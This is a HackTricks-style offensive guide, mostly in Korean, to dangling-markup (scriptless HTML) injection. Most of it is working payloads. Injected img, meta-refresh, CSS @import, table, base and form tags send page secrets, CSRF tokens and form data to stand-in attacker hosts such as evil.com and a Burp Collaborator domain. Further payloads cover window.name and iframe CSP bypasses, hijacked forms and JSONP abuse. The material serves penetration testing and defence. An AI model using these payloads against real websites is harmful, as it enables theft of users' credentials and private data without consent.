Dangling Markup - HTML scriptless injection

htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!

HackTricks를 지원하는 다른 방법:

요약

이 기술은 HTML 인젝션이 발견되었을 때 사용자로부터 정보를 추출하는 데 사용될 수 있습니다. 이는 XSS이용할 방법을 찾지 못했을 때 매우 유용하며, 일부 HTML 태그를 삽입할 수 있다면 더욱 유용합니다. 또한, HTML에 암호가 평문으로 저장되어 있고 클라이언트로부터 이를 유출하거나 스크립트 실행을 혼란시키고 싶을 때 유용합니다.

여기에서 설명하는 여러 기술은 예상치 못한 방식으로 정보를 유출함으로써 일부 콘텐츠 보안 정책을 우회하는 데 사용될 수 있습니다 (html 태그, CSS, http-meta 태그, 폼, base 등).

주요 응용 분야

평문 비밀 훔치기

페이지가 로드될 때 <img src='http://evil.com/log.cgi?를 삽입하면 피해자는 삽입된 img 태그와 코드 내 다음 따옴표 사이의 모든 코드를 보내줍니다. 만약 그 청크에 비밀이 있다면, 그것을 훔칠 수 있습니다 (더 흥미로울 수 있는 것을 확인하기 위해 이중 따옴표를 사용할 수도 있습니다).

img 태그가 금지되어 있는 경우 (예: CSP 때문에) <meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?를 사용할 수도 있습니다.

<img src='http://attacker.com/log.php?HTML=
<meta http-equiv="refresh" content='0; url=http://evil.com/log.php?text=
<meta http-equiv="refresh" content='0;URL=ftp://evil.com?a=

참고: Chrome은 "<" 또는 "\n"을 포함하는 HTTP URL을 차단하므로 "ftp"와 같은 다른 프로토콜 체계를 시도할 수 있습니다.

CSS @import를 남용할 수도 있습니다. (";"을 찾을 때까지 모든 코드를 전송합니다.)

<style>@import//hackvertor.co.uk?     <--- Injected
<b>steal me!</b>;

또한 **<table**을 사용할 수도 있습니다:

<table background='//your-collaborator-id.burpcollaborator.net?'

당신은 <base 태그를 삽입할 수도 있습니다. 모든 정보는 인용 부분이 닫힐 때까지 전송됩니다. 그러나 이는 사용자 상호작용이 필요합니다 (사용자는 링크를 클릭해야 합니다. 왜냐하면 base 태그가 링크가 가리키는 도메인을 변경했기 때문입니다):

<base target='        <--- Injected
steal me'<b>test</b>

폼 도용

When performing a dangling markup attack, one of the possible objectives is to steal forms from a vulnerable website. This technique allows an attacker to inject malicious code into a website's HTML markup, which can then be used to capture sensitive information entered by users in the stolen forms.

To steal forms, the attacker needs to identify a vulnerable website that is susceptible to dangling markup injection. Once a vulnerable website is found, the attacker can inject their own HTML code into the website's markup. This injected code can be designed to mimic the appearance and functionality of the original form, tricking users into entering their sensitive information.

The injected code can include JavaScript that captures the form data entered by users and sends it to a remote server controlled by the attacker. This allows the attacker to collect usernames, passwords, credit card information, or any other sensitive data entered into the stolen forms.

To protect against this type of attack, website owners should implement proper input validation and sanitization techniques to prevent dangling markup injection vulnerabilities. Additionally, users should be cautious when entering sensitive information on websites and ensure that they are using secure connections (HTTPS) to protect their data from being intercepted.

By understanding how attackers can steal forms through dangling markup injection, website owners and users can take the necessary precautions to safeguard sensitive information and prevent unauthorized access to their data.

<base href='http://evil.com/'>

그럼, 경로로 데이터를 보내는 폼 (예: <form action='update_profile.php'>)은 악성 도메인으로 데이터를 보냅니다.

폼 도용 2

폼 헤더를 설정하세요: <form action='http://evil.com/log_steal'> 이렇게 하면 다음 폼 헤더가 덮어쓰여지고 폼의 모든 데이터가 공격자에게 전송됩니다.

폼 도용 3

버튼은 "formaction" 속성을 사용하여 폼의 정보가 전송될 URL을 변경할 수 있습니다.

<button name=xss type=submit formaction='https://google.com'>I get consumed!

공격자는 이를 사용하여 정보를 도난할 수 있습니다.

평문 비밀 훔치기 2

이전에 언급된 기술을 사용하여 폼을 훔칠 수 있습니다 (새로운 폼 헤더를 주입). 그런 다음 새로운 입력 필드를 주입할 수 있습니다:

<input type='hidden' name='review_body' value="

그리고 이 입력 필드에는 HTML에서 첫 번째 이중 인용부호와 다음 이중 인용부호 사이의 모든 내용이 포함됩니다. 이 공격은 "평문 비밀 훔치기"와 "양식2 훔치기"를 혼합합니다.

동일한 작업을 수행하기 위해 양식과 <option> 태그를 삽입할 수도 있습니다. 닫힌 </option>이 발견될 때까지의 모든 데이터가 전송됩니다:

<form action=http://google.com><input type="submit">Click Me</input><select name=xss><option

폼 매개변수 삽입

폼의 경로를 변경하고 새로운 값을 삽입하여 예상치 못한 동작을 수행할 수 있습니다:

<form action='/change_settings.php'>
<input type='hidden' name='invite_user'
value='fredmbogo'>                                        ← Injected lines

<form action="/change_settings.php">                        ← Existing form (ignored by the parser)
...
<input type="text" name="invite_user" value="">             ← Subverted field
...
<input type="hidden" name="xsrf_token" value="12345">
...
</form>

noscript를 통한 평문 비밀 정보 도난

<noscript></noscript>는 브라우저가 자바스크립트를 지원하지 않을 때 해석되는 태그입니다 (Chrome에서 자바스크립트를 활성화/비활성화할 수 있습니다. chrome://settings/content/javascript).

공격자가 제어하는 사이트로 삽입 지점부터 웹 페이지의 내용을 하단까지 유출하는 방법은 다음과 같이 삽입하는 것입니다:

<noscript><form action=http://evil.com><input type=submit style="position:absolute;left:0;top:0;width:100%;height:100%;" type=submit value=""><textarea name=contents></noscript>

사용자 상호작용을 통한 CSP 우회

이 포트스위거스 연구에서는 가장 CSP가 제한된 환경에서도 일부 사용자 상호작용을 통해 데이터를 유출할 수 있다는 것을 알 수 있습니다. 이번에는 다음 payload를 사용할 것입니다:

<a href=http://attacker.net/payload.html><font size=100 color=red>You must click me</font></a>
<base target='

피해자에게 링크를 클릭하도록 요청하여 그를 리디렉션하여 당신이 제어하는 페이로드로 이동하게 할 것입니다. 또한 base 태그 내부의 target 속성은 다음 작은 따옴표까지의 HTML 콘텐츠를 포함할 것입니다. 이로 인해 링크가 클릭되면 **window.name**의 은 해당 HTML 콘텐츠가 될 것입니다. 따라서 링크를 클릭하여 피해자가 접근하는 페이지를 제어하므로 해당 **window.name**에 액세스하여 데이터를 유출할 수 있습니다.

<script>
if(window.name) {
new Image().src='//your-collaborator-id.burpcollaborator.net?'+encodeURIComponent(window.name);
</script>

잘못된 스크립트 워크플로우 1 - HTML 네임스페이스 공격

HTML에 새로운 태그를 삽입하여 다음 태그를 덮어쓰고, 스크립트의 흐름에 영향을 미칠 값을 지정합니다. 이 예시에서는 정보를 공유할 대상을 선택합니다:

<input type='hidden' id='share_with' value='fredmbogo'>     ← Injected markup
...
Share this status update with:                              ← Legitimate optional element of a dialog
<input id='share_with' value=''>

...

function submit_status_update() {
...
request.share_with = document.getElementById('share_with').value;
...
}

잘못된 스크립트 워크플로우 2 - 스크립트 네임스페이스 공격

HTML 태그를 삽입하여 자바스크립트 네임스페이스 내에 변수를 생성합니다. 그런 다음, 이 변수는 애플리케이션의 흐름에 영향을 미칠 것입니다:

<img id='is_public'>                                        ← Injected markup

...

// Legitimate application code follows

function retrieve_acls() {
...
if (response.access_mode == AM_PUBLIC)                    ← The subsequent assignment fails in IE
is_public = true;
else
is_public = false;
}

function submit_new_acls() {
...
if (is_public) request.access_mode = AM_PUBLIC;           ← Condition always evaluates to true
...
}

JSONP의 남용

JSONP 인터페이스를 발견하면 임의의 함수와 임의의 데이터를 호출할 수 있을 수도 있습니다:

<script src='/editor/sharing.js'>:              ← Legitimate script
function set_sharing(public) {
if (public) request.access_mode = AM_PUBLIC;
else request.access_mode = AM_PRIVATE;
...
}

<script src='/search?q=a&call=set_sharing'>:    ← Injected JSONP call
set_sharing({ ... })

또는 일부 JavaScript를 실행해 볼 수도 있습니다:

<script src='/search?q=a&call=alert(1)'></script>

Iframe 남용

자식 문서는 부모의 location 속성을 보고 수정할 수 있는 능력을 갖고 있으며, 교차 출처 상황에서도 가능합니다. 이는 iframe 내에 스크립트를 삽입하여 클라이언트를 임의의 페이지로 리디렉션할 수 있게 합니다:

<html><head></head><body><script>top.window.location = "https://attacker.com/hacked.html"</script></body></html>

다음과 같이 이를 완화할 수 있습니다: sandbox=' allow-scripts allow-top-navigation'

또한, iframe은 iframe name 속성을 사용하여 다른 페이지에서 민감한 정보를 유출시킬 수도 있습니다. 이는 초기 iframe에서 해당 이름을 액세스하여 유출하기 위해 HTML 삽입을 악용하여 자체적으로 iframe을 만들 수 있기 때문에 민감한 정보가 iframe name 속성 내에 표시됩니다.

<script>
function cspBypass(win) {
win[0].location = 'about:blank';
setTimeout(()=>alert(win[0].name), 500);
}
</script>

<iframe src="//subdomain1.portswigger-labs.net/bypassing-csp-with-dangling-iframes/target.php?email=%22><iframe name=%27" onload="cspBypass(this.contentWindow)"></iframe>

더 많은 정보는 https://portswigger.net/research/bypassing-csp-with-dangling-iframes에서 확인할 수 있습니다.

<meta 남용

**meta http-equiv**를 사용하여 여러 작업을 수행할 수 있습니다. 예를 들어 Cookie를 설정할 수 있습니다: <meta http-equiv="Set-Cookie" Content="SESSID=1"> 또는 리디렉션을 수행할 수 있습니다 (이 경우 5초 후에): <meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />

이는 CSP를 사용하여 http-equiv를 통해 회피할 수 있습니다 (Content-Security-Policy: default-src 'self';, 또는 Content-Security-Policy: http-equiv 'self';)

새로운 <portal HTML 태그

<portal 태그의 취약점에 대한 매우 흥미로운 연구여기에서 찾을 수 있습니다. 이 글을 작성하는 시점에서 Chrome에서 <portal 태그를 사용하려면 chrome://flags/#enable-portals에서 활성화해야 합니다. 그렇지 않으면 작동하지 않습니다.

<portal src='https://attacker-server?

HTML 누출

HTML에서 연결성을 누출시키는 방법 중 일부는 Dangling Markup에 유용하지 않을 수 있지만, 때로는 도움이 될 수도 있습니다. 여기에서 확인할 수 있습니다: https://github.com/cure53/HTTPLeaks/blob/master/leak.html

SS-Leaks

이것은 dangling markup과 XS-Leaks의 혼합입니다. 한쪽에서는 취약점이 HTML을 주입할 수 있게 해줍니다(하지만 JS는 아닙니다). 우리가 공격할 페이지의 동일 출처에 있는 페이지에. 다른 한편에서는 우리가 HTML을 주입할 수 있는 페이지를 직접 공격하지 않고 다른 페이지를 공격합니다.

pageSS-Leaks

XS-Search/XS-Leaks

XS-Search는 사이드 채널 공격을 악용하여 교차 출처 정보를 유출하는 것을 목표로 합니다. 따라서 Dangling Markup과는 다른 기술입니다. 그러나 일부 기술은 HTML 태그의 포함을 악용합니다(JavaScript 실행 여부에 따라 포함되거나 포함되지 않음), 예를 들어 CSS Injection 또는 Lazy Load Images.

pageXS-Search/XS-Leaks

브루트 포스 탐지 목록

참고 자료

htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!

HackTricks를 지원하는 다른 방법:

Last updated